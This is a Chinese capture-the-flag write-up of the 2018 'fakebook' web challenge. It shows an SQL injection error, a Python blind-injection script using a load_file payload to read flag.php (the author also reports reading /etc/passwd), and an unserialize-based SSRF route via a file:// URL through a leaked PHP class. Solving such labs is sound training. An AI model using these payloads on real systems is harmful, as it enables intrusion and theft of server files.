前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >[网鼎杯2018]fakebook题解

[网鼎杯2018]fakebook题解

作者头像
KevinBruce
发布2020-04-08 17:42:50
5780
发布2020-04-08 17:42:50
举报
文章被收录于专栏:CTF及算法学习

首先注册一个账号,注意blog是一个http或https的链接的形式,否则将无法通过。

点击用户名进入用户界面,根据页面内容,初步怀疑本题考查SSRF。不过由于不能使用file等协议,感觉应该需要在某处进行绕过。

用户界面的url为http://812a2fb3-abaa-4b68-98b4-2bc2172d4509.node3.buuoj.cn/view.php?no=1,输入单引号发现报错。

代码语言:javascript
复制
[*] query error! (You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1)
Fatal error: Call to a member function fetch_assoc() on boolean in /var/www/html/db.php on line 66

经过测试发现该页面做了一些过滤,但load_file没有被过滤,/etc/passwd文件可以读取到。接下来测试到flag的位置位于/var/www/html/flag.php。

下面写了一个脚本来获取flag.php中的内容。

代码语言:javascript
复制
import requests
def exp(url_format,length=None):
    rlt = ''
    url  = url_format
    if length==None:
        length = 50
    for l in range(1,length+1):
        begin = 1
        ends = 126
        tmp = (begin+ends)//2
        while begin<ends:
            r = requests.get(url.format(l,tmp))
            #判断条件根据情况修改
            if b'http://www.baidu.com' in r.content:
                begin = tmp+1
                tmp = (begin+ends)//2 
            else:
                ends = tmp
                tmp = (begin+ends)//2
        rlt+=chr(tmp)
        print(rlt)
    return rlt.rstrip()
url = "http://812a2fb3-abaa-4b68-98b4-2bc2172d4509.node3.buuoj.cn/view.php?no=elt(ord(substr(load_file(%27/var/www/html/flag.php%27),{},1))%3E{},1)"
exp(url,400)

其中核心的payload为

代码语言:javascript
复制
elt(ord(substr(load_file('/var/www/html/flag.php'),?,1))>?,1)

静静地等待几分钟得到了结果

代码语言:javascript
复制
<?php
$flag = "flag{98207bdb-3d8f-43df-9956-2211c9fa9b05}";
exit(0);

好像有什么不对,说好的SSRF呢???通过查看他人的题解,发现这个不是预期解,预期解是通过反序列化进行SSRF。接下来说说预期解怎么做。

首先是发现了robots.txt中泄漏了/user.php.bak这个文件。

该文件主要是生命了一个用户类,当调用get方法时会访问某个url得到信息,如果该url被恶意利用,比如利用file协议,就可以读取任意文件。

代码语言:javascript
复制
<?php
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);
        return $output;
    }
    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }
    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }
}

接着在刚才的注入点,可以发现data字段

代码语言:javascript
复制
data: O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:12;s:4:"blog";s:20:"http://www.baidu.com";}

也就意味着view.php将查询到的结果进行了反序列化。所以可以在查询的时候构造一个反序列化字符串,将blog字段修改为file:///var/www/html/flag.php即可。

关于具体的payload,大家可以参考其他文章,预期解网上多的是。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-04-06 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
文件存储
文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档